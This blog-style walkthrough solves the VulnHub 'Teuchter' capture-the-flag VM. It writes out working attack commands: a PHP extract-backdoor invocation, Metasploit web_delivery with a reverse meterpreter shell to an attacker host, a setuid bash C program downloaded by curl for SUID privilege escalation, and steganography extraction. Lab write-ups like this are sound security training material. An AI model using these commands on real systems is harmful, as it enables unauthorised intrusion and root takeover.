Hello friends!! Today we are going to solve latest CTF
challenge “Teuchter” presented by vulnhub for penetration practice and design
by knightmare. This virtual machine is having intermediate to medium difficulty
level. One need to break into VM using web application and from there escalate
privileges to gain root access.
Download it from here:
https://www.vulnhub.com/entry/teuchter-03,163/
Penetrating Methodologies
§ Network
Scanning (netdiscover, Nmap)
§
Abusing HTTP service for PHP extract backdoor
§
Compromise victim’s (Metasploit)
§
SUID Privilege escalation
§
Steganography for original flag.txt
Lets Start!!!
Let’s start with getting to know the IP of VM (Here, I
have it at 192.168.1.104 but you will have to find your own)
netdiscover
Now let’s move towards enumeration in context to identify
running services and open of victim’s machine by using the most popular tool
Nmap.
nmap -A 192.168.1.104
Knowing port 80 is open in victim’s network I preferred
to explore his IP in a browser. At first glance, we saw following web
page. When couldn’t found something
suspicious, so we try to check its source-code.
Hmmm!! After exploring source code page, you can analysis
the “Green color text” sounds a little bit doubtful. Giving priority to
/gallery /flicks and /telly we
have considered them as the subjective web directories and then try to explore
it in the web browser.
Also consider hint given for some extension like .pht for
PHP.
So I opened the URL http://192.168.1.104/gallery/
but couldn’t get anything neither from its web page nor from its source code.
Then explored the URL http://192.168.1.104/telly/
and it put-up following web page in front of us and at looking at its page
source code we notice something like flicks
phpinfo.
So without wasting time we lunch directory brute-force
attack on following URL for identify .php and .pht extension files.
dirb
http:192.168.1.104/flicks/ -X .php, .pht
And from its result we find a phpinfo.pht file and explored
it in the browser and it gives me an internal server error when I open it. So I
search in Google phpinfo.php found this link: https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
Thanks to Mr. Daniel B. Cid for sharing his experience
because with help of above link we get the idea to exploit it. As the author
has hidden the PHP extract backdoor inside the phpinfo.pht file and now whatever
the attacker sends as “ctime” with “atime” as an argument it will be execute
successfully.
As you can observe when we try to execute the system
command “id” through the given below URL we got following result on the web
page.
http:192.168.1.104/flicks/phpinfo.php?ctime=system&atime=id
Let’s compromise the victim’s VM to get the meterpreter
shell, therefore, we load metasploit framework and execute below commands.
use
exploit/multi/script/web_delivery
msf
exploit(multi/script/web_delivery) > set target 1
msf
exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf
exploit(multi/script/web_delivery) > set lhost 192.168.1.107
msf
exploit(multi/script/web_delivery) > exploit
Copy the highlighted text for malicious PHP code and
Paste it inside URL as an argument.
You will get meterpreter session of victim’s machine in your
Metasploit framework and after then finished the task by grabbing flag.txt
file. Further type following for extracting more information for post
exploitation.
Here first I sysinfo
command to enumerate install kernel version but didn’t found any working
exploit for this VM therefore then I decide to go with manual approach for
privilege escalation. Thus execute below commands:
cd /home
ls
cd proclaimers
ls
cd
letterfromamerica
ls
Here I found two files semaphore and test and
if you will notice at their permissions then you will realize that SUID bit
enabled for semaphore and GUID bit is enabled for test.
Now let access proper tty shell of victim’s VM and enumerate
furthermore inside it.
shell
python3 -c
"import pty; pty.spawn('/bin/bash');"
ooooh!! I got
something suspicious from inside this path: /home/jkerr, a login.txt and promisedyouamiracle.jpg
image. And after reading the note of the login.txt file I decided to download jpg
image in our local machine.
Since the python 3 is already running therefore we
execute following command for transferring file.
python3
-m http.server 8080
When we explored the promisedyouamiracle.jpg image in
browser we got the following photo.
With help of exiftool we try to extract metadata from inside
this image and luckily found the bas64 encoded text.
exiftool
promisedyouamiracle.jpg
With the help of following command we try to decode the text
and got “gemini” which could be possible password.
echo “Z2VtaW5pCg==” |
base64 -d
Let try to login by using gemini as password for user: proclaimers
because it holds two important files. Execute the following commands and
extract the information.
su proclaimers
password: Gemini
ls
cd proclaimers
ls
cd
letterfromamerica
ls -al
Ohhhh Great!! As declared above SUID bit enabled for the semaphore and GUID bit enabled for the test, let’s use grep command to get everything related to semaphore.
grep -R
"semaphore" /usr/local 2>/dev/null
AwesomeJ,
I got a script at this path /usr/local/bin/numpties.sh; let’s open it with cat
command.
cat
/usr/local/bin/numpties.sh
After reading it, I conclude that the cronjob will add the SUID bit
to semaphore and also give root ownership to this file if the file exists.
No wonder, if I replace the original semaphore by the fake
semaphore file then our fake file will get SUID permission. So in our local we
write a C-program to get bsah shell and compile it.
include
#include
#include
Int main ()
{
setuid(geteuid ());
system("/bin/bash");
}
gcc shell.c -o
semaphore
python -m
SimpleHTTPServer 80
Since we have complied file semaphores and also running
python server therefore let’s download our fake semaphore at the place of
original semaphores. Thus first I removed original semaphores and download
complied file in same directory.
rm -rf semaphore
curl -O
http://192.168.1.107/semaphore
After sometime when I checked the permission for the new
semaphore I found the SUID bit was on. At that moment you should run the script
which will give root terminal after getting executed and then look for flag
inside /root directory.
ls -al
./semaphore
cd /root
cat flag.txt
This was not actual the flag let’s try to get the
original flag
cd root
ls
re-record-not-fade-away
ls -al
cd on
ls
cd and
ls
cd on
So on………… and at last you will get /ariston which holding
a zip file “TeuchterESX.zip”.
cd ariston
Again run following command in current directory to transfer
zip file.
python3 -m
http.server 8080
Now download TeuchterESX.zip file in local machine and unzip
it.
wget
http://192.168.1.103:8080/ TeuchterESX.zip
unzip
TeuchterESX.zip
password: Teuchter
We got a vmdk file
and further ran following command to check list of present drive for mounting
disk image.
fdisk -l
Here we saw /dev/sdb1 which looks good mounting disk image
thus I install the vmfs-tools package.
So we have used vmfs-fuse to mount the drive and execute
following commands:
mkdir Teuchter
vm-fuse /dev/sdb1
/root/Desktop/Teuchter/
cd Teuchter
ls
cat hint.txt
In this text messages the author had given hint to check ISO
for getting the password which is related to TV advert and it’s of 25
character.
So we mount the new folder /redkola.iso where we found an
image file glass_ch.jpg with help of
following command:
mount redkola.iso
/root/Desktop/redkola
cd
/root/Desktop/redkola
ls
Further we opened the image “glass_ch.jpg” and it was a
picture of Irn-Bru soft-drinks. Probably
there could be chances of hidden text in this image therefore we tried steghide
to extract out hidden text but when I execute following command it ask to enter
some passphrase
which we don’t know yet and it should above said 25 character which we need to
be found.
steghide extract -sf
glass_ch.jpg -xf /root/Desktop/finalflag.txt
Taking help of above hint and image I search Irn-bru-wiki
and got this link https://en.wikipedia.org/wiki/Irn-Bru
And after spending a long time over wiki I got 25 character
in ‘madeinscotlandfromgirders’, which was Irn-Bru advertising slogan and
tried it as passphrase.
We entered above passphrase and extracted the text file on
the desktop.
Congrats!! Finally we got the final flag.txt file as shown
below………….
0 comments:
Post a Comment